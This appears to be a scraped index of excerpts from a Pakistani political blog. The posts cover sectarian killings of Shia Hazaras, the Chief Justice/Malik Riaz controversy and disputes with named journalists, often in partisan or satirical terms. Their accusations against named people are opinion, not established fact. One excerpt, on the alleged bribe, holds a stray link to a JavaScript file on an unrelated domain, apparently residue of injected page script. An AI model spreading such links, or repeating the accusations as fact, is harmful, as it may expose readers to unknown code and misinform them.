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Justice for Rukhsana: This is how urban elites exploit oppressed women’s miseries in Pakistan: Update: There is currently a campaign on Twitter to express support for Rukhsana. #JusticeForRukhsana. Please join to show your support for a double oppressed woman who is finding no voice in Pakistan’s elite dominated mainstream media. Rukhsana, the acid
Daily Times, the latest pen-killer of Shia Hazaras of Quetta – by Ali Muntaziri: Update/Editor’s note: Op-ed editor of Daily Times has now apologized and assured to be extra careful in the future. We appreciate this gesture and hope the mainstream media will publish factual and sympathetic articles on Shia Hazaras, one of
Daily Jang is helping ISI to manufacture Sunni-Shia sectarian violence in Quetta – by Ali Muntaziri: Related posts: Plot thickens: ISI strikes back by killing non-compliant Deobandis – by Sheherzade Adil Jang wants to spark Sunni-Shia violence in Quetta to cover up Shia genocide by ISI-backed Jihadis Whilst every electronic and print media source has
Dictator Zardari Gets Slapped by Supreme Guardians of Justice – by Riaz Malik Hajjaji: I am sure that Pak Fauj appreciates how Moeed Yusuf, Shuja Nawaz and their colleagues watch out for them in Imperialist Amrika – even more when some of them dilute their mild criticism of army generals by also pointing towards the civilian “kleptocrats”
Ali Moeen Nawazish and Samad Khurram reject conspiracies against CJ Iftikhar Chaudhry: Related post: My hero is Samad Khurram ميں نہيں مانتا، ميں نہيں جانتا علي معين نوازش مجھے آج تک تين نومبر 2007 ء کا دن ياد ہے جيسے يہ کل کي بات ہو، ميں صمد خرم کے گھر پر
Toxic influence of senior columnists on young writers in The Friday Times – by Irfan Qadri: The Friday Times, edited by Najam Sethi (the 80-20 mix fame) and Raza Rumi (who is also a Director of ISI-backed Jinnah Institute), continues to misrepresent State-sponsored Shia genocide as Sunni vs Shia sectarian violence. Latest issue of The
The Arsalan case is buried under mediagate and Gilani’s exitgate – by Sabir Nazar: In the tradition of revered Urdu, I will also start my column with a pious story of honourable Qaziul Qazat Maulvi Omar Mushtaq from golden Islamic period Zia ud din Ayubi. Zia ud din Ayubi and his companion Hamid
Alleged bribe by Malik Riaz: In response to Marvi Sirmed’s plea of innocence: Related post: Lifestyle Liberals and Political Liberals: Is LUBP a hurdle in the way of unity of liberals? http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&shar.es/Cm14D Disclaimer: LUBP does not endorse the impression that any journalist took bribes from real estate tycoon Malik Riaz. Readers can
CJ Iftikhar Chaudhry’s friend arrested by NAB in Rs. 6 billion fraud: Mr. Nadeem Ahmed Advocate, owner of the law firm (Ahmed & Qazi) which works for the usual suspects (Mir Shakil-ur-Rehman, PCO Judges, Akram Sheikh, ISI etc), has been arrested in a Rs 6bn fraud by the National Accountability Bureau
CJ Gate: Supreme Court’s defence is in its own hands – by Ayaz Amir: We know the kind of influence Malik Riaz Hussain of Bahria Town has been famous for peddling: chummy with presidents and prime ministers, close links to all major political parties, ex-generals and air-marshals in his employ, leading champions of
CJ Gate: Malik Riaz represents Pakistani version of capitalism – by Nazir Naji & Javed Chaudhry: سرمائے کا نام نذیر ناجی گزشتہ چار سال کے تجربے سے ظاہر ہوا کہ ہمارے ہاں ریاست کو فنکشنل رکھنے والے سارے ہی آلات ناکارہ ہو چکے ہیں۔ غیرجمہوری حکومتیں آتی ہیں تو ان کے پاس ڈنڈے کے سوا
CJ Gate: For Pakistan’s Chief Justice Chaudhry, the wheel comes full circle – by Ayaz Amir: Caesar’s wife and the burden of suspicion So does My Lord the Chief Justice, on whose side emotionally guys like me will always gravitate, realise how the wheel comes full circle? He was our St George pursuing the dragon
Post Partition exodus of Sindhi Hindus from their ancient Birthplace: Writing for the Express Tribune, Haider Nizamani’s a thought provoking article draws light on important developments that occured in Urban Sindh during Partition. The events of these times where the Sindh Provincial Govt. resisted the forced migration of Sindh’s
Shia Hazaras of Quetta at history’s crossroads – by Amir Mateen: Source: Adapted and edited with some changes from The News, June 01, 2012 QUETTA: The dilemma of the Shias Hazara’s predicament is not that the solution is proving elusive, but that so far even the problem has not been
Ejaz Haider attacks LUBP, without naming them – by Ahmed Umar Khan: Dear LUBP, Your articles are interesting even when I disagree with your work. After reading yesterday’s Tribune, I think Ejaz Haider has been rattled by your consistent exposure of his work. The chatter on social media yesteday and today
Jinnah Institute: Is LUBP’s criticism valid? – by Ismail Effendi: LUBP is one of the boldest anti-establishment voices in Pakistan. Along with Pakistan Media Watch and Terrorland, this is one of my favourite websites on Pakistani politics and media. I frequently share articles from LUBP with my expatriate friends and work
‘Twitter detritus’ responds to Ejaz Haider and congratulates Triple H – by Riaz Malik Hajjaji: Dear readers and especially ghariatmand Pious Patriotic Punjabi Puttars (PPPP), Our Lord, Triple H (His Holiness Highness, Hazrat) Chief Justice Chaudhary Iftikhar is being harassed by Rafzi (Shia) and Banya (Hindu) agents: Pakistan’s Chief Justice humiliated by Shia protesters in
Arshad Mahmood’s article on Dr Shakil Afridi: ڈاکٹر شکیل آفریدی اسامہ بن لادن کا خاتمہ کرنے کے لئے امریکہ کے ایبٹ آباد والے آپریشن کا ایک اہم کردار ہے۔ یہ شخص خیبر پختوخواہ صوبے میں ایک سرکاری ڈاکٹر تھا۔ نائن الیون والے واقعے کے وقت پاکستان
Raza Rumi and Marvi Sirmed join notorious Jinnah Institute?: We are concerned to learn that two noted “liberals” namely Raza Rumi and Marvi Sirmed have joined notorious Jinnah Institute, which is currently headed by ISI-mouthpiece Ejaz Haider. While Raza Rumi has joined the Jinnah Institute as a Director
33-year sentence to Pashtun hero Dr. Shakil Afridi: Congratulations to Ejaz Haider and Jinnah Institute: Today is another black day for Pakistan. An honournable Pashtun doctor Shakil Afridi who assisted in locating international terrorist and mass murderer Osama bin Laden has been sentenced for 33 years – he was deliberately thrown to the mercy of kangaroo
A PPP Jiyala’s perspective on Sherry Rehman Lobby’s discourse on NATO supply blockade: As a diehard Bhuttoist and proud Jiyala, I am extremely troubled to see some fake civil society activists (pseudo-liberals) presenting themselves as pro-PPP but at the same time undermining the very foundations of the elected parliament. My leader, Shaheed
How can anyone stand with Ejaz Haider and Najam Sethi and proclaim themselves to be liberal? – by Mustafa Junejo: Related posts: Raza Rumi and Marvi Sirmed join notorious Jinnah Institute Hamid Mir – the new champion of Pakistan’s “liberals”? – by Anwar Changezi An open letter to Hamid Mir from a common citizen – by Marvi Sirmed Hamid
Shame on imperialist, liberal fascist servants of USA – by Riaz Malik Hajjaji: I don’t have a job! After all, I am not self-made and do not have job in Hazrat Imran Khan foundation. I am not self made and uncompromised like Honourable Justice Asif Saeed Khosa, Hon. Justice Khalil Ramday and
There is no evidence against Hafiz Saeed – by Riaz Malik Hajjaji: Dedicated to fellow Ghairatmand comrades like Ejaz Haider Yes, there is no evidence against Hafiz Saeed! Move over Gandhi. Martin Luther King, get a life. The real pacifist of our generation is Hazrat Hafiz Saeed. Lashkar-e-Tayba is a fictious
Pakistan kay asli mukhtar aur asli majboor – by Nazir Naji: Related post: Restoration of NATO supplies: Let’s blame Zardari and Gilani! طواف کوئے ملامت نذیر ناجی دل پھر طواف کوئے ملامت کو جائے ہے۔ ہمارے سیاسی حکمران بار بار چوٹ کھانے اور رسوا ہونے کے بعد بھی سبق نہیں
First Ghotki, then Jhelum: Another massive rally ignored by corporate media: After yesterday’s massive rally in Ghotki which was given minimal coverage by private-corporate media, today’s #PPP rally in Jhelum has met a similar fate. It has largely been ignored by the media which is disappointing but hardly surprising. Why
Media review: How informed are Pakistani journalists about Shia genocide?: It is now increasingly recognized that most of Pakistanis journalists are either silent (or misrepresent due to several reasons) or lack adequate information about Shia genocide currently taking place in Pakistan at the hands of the Taliban and Sipah-e-Sahaba
Well done Latif Chaudhry – by Ahsan Abbas: Dear Mr Latif Chaudhry I am very pleased to read your column in daily Express in which you exposed the hypocrisy of notorious Taliban apologist Ansar Abbasi of the Jang Group (Jang/The News/Geo). The so called “Jihad” of Ansar
Stop Lyari operation: A critical PPP supporter’s perspective – by Syed Salman: Why do those who have had a taste of victimhood forget so quickly and could actually launch the same offensive against others? I seriously ask myself if the ongoing Lyari operation justified? Without any biasedness I strongly believe that
PPP has lost my vote -by Daniyal Shabbir: We (our family) have always supported the PPP. In Karachi, you have only two choices, either the MQM or PPP. So we always go for PPP. But this time unfortunately, the PPP has lost my vote. I have decided
Pakistani Canadians on the Decision to convict Prime Minister Gillani for following the Constitution: Related Posts: We applaud Bilawal Bhutto Zardari’s bold message to pro-rapist Islamofascist judiciary For upholding the Constitution, Prime Minister Gillani gets convicted! – by Farhad Jarral We are pleased to published an interesting and informative debate that took place
Raza Rumi loves Hamid Mir loves Hafiz Saeed: A tale of Pakistan’s pseudo-liberals – by Ankur Desai: Source: Pakistan Blogzine Hamid Mir – the new champion of Pakistan’s “liberals”? – by Anwar Changezi Related post: Hamid Mir and Raza Rumi’s attack on an establishment planted virus Does Hamid Mir continue his great father’s legacy in journalism?
A Dedication to the Shia Muslim Martyrs of Chilas – by Zahra Tabusum: Protest Against Atrocities in Pakistan: Sat, April 14, 2012, 11:00AM in front of Embassy of Pakistan, Washington D.C Oh martyrs of Chilaas, at your service we stand, Although your blood was shed upon our homelands, Your cries and pleas
LUBP being bullied by Pakistan’s “fake liberal” elite for its coverage of Shia genocide: Related article: Vague HRCP statement fails to address Ongoing Shia Genocide – By Anwar Changezi and one response for LUBP’s policy of covering Shia Genocide and countering deliberate media distortion The hate campaign by fake bloggers (LUBP): whose agenda they
Congratulations on Chilas victory – by Riaz Malik Hajjaji: I am writing this post to thank Pakistani media on behalf of my friends of Sipah-e-Sahaba Pakistan (SSP) also known as Ahle Sunnat Wal Jamaat (ASWJ). During this week, SSP-ASWJ has achieved great victories in Chilas and Gilgit and
On Cyril Almeida’s superficial analysis of PPP’s dominance in Sindh: I came across this comment on Cyril Almeida’s recent column Bhutto legacy and lack of alternatives equal PPP dominance (Dawn, 5 April 2012). The comment, written by Morial Shah (publicly available on Twitter), is worth sharing with a larger
Ejaz Haider’s brilliant legalistic defense for DPC leader, Hafiz Saeed – by Riaz Malik Hajjaji: Whenever oppressed and under-funded Paak Fauj and its supporters like Hazrat Hafiz Saeed are under pressure, comrade Ejaz always comes to their rescue. In May last year, when ISI was really under pressure because they had failed to protect
We applaud Bilawal Bhutto Zardari’s bold message to pro-rapist Islamofascist judiciary: Related post: Two important speeches on ZAB’s 33rd death anniversary We applaud PPP chairman, Bilawal Bhutto Zardari, on his bold speech on the 33rd Death Anniversary of Pakistan’s first elected Prime Minister and PPP founder, Shaheed Zulfiqar Ali Bhutto. In a
At least 15 Shias massacred by ASWJ-SSP militants in Chilas and Gilgit: GILGIT: Gunmen opened fire and killed fifteen passengers in Chillas, Geo News reported. According to official sources, the passengers were taken off buses, their Shia identity verified, and were then killed. Six buses were also set ablaze. Earlier, curfew